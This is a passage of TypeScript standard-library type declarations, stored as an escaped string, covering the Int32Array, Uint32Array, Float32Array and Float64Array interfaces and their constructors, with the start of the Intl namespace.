the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Int32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Int32Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Int32Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Int32ArrayConstructor {\\n    readonly prototype: Int32Array;\\n    new(length: number): Int32Array;\\n    new(array: ArrayLike<number>): Int32Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Int32Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Int32Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Int32Array;\\n\\n}\\ndeclare const Int32Array: Int32ArrayConstructor;\\n\\n/**\\n  * A typed array of 32-bit unsigned integer values. The contents are initialized to 0. If the\\n  * requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Uint32Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Uint32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Uint32Array) => any, thisArg?: any): Uint32Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Uint32Array) => void, thisArg?: any): void;\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Uint32Array) => number, thisArg?: any): Uint32Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Uint32Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Uint32Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Uint32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Uint32Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Uint32Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Uint32ArrayConstructor {\\n    readonly prototype: Uint32Array;\\n    new(length: number): Uint32Array;\\n    new(array: ArrayLike<number>): Uint32Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Uint32Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Uint32Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Uint32Array;\\n\\n}\\ndeclare const Uint32Array: Uint32ArrayConstructor;\\n\\n/**\\n  * A typed array of 32-bit float values. The contents are initialized to 0. If the requested number\\n  * of bytes could not be allocated an exception is raised.\\n  */\\ninterface Float32Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Float32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Float32Array) => any, thisArg?: any): Float32Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Float32Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Float32Array) => number, thisArg?: any): Float32Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Float32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Float32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Float32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Float32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Float32Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Float32Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Float32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Float32Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Float32Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Float32ArrayConstructor {\\n    readonly prototype: Float32Array;\\n    new(length: number): Float32Array;\\n    new(array: ArrayLike<number>): Float32Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Float32Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Float32Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Float32Array;\\n\\n\\n}\\ndeclare const Float32Array: Float32ArrayConstructor;\\n\\n/**\\n  * A typed array of 64-bit float values. The contents are initialized to 0. If the requested\\n  * number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Float64Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Float64Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Float64Array) => any, thisArg?: any): Float64Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Float64Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Float64Array) => number, thisArg?: any): Float64Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Float64Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Float64Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Float64Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Float64Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Float64Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Float64Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Float64Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Float64Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Float64Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Float64ArrayConstructor {\\n    readonly prototype: Float64Array;\\n    new(length: number): Float64Array;\\n    new(array: ArrayLike<number>): Float64Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Float64Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Float64Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Float64Array;\\n\\n}\\ndeclare const Float64Array: Float64ArrayConstructor;\\n\\n/////////////////////////////\\n/// ECMAScript Internationalization API\\n/////////////////////////////\\n\\ndeclare namespace Intl {\\n    interface CollatorOptions {\\n        usage?: string;\\n        localeMatcher?: 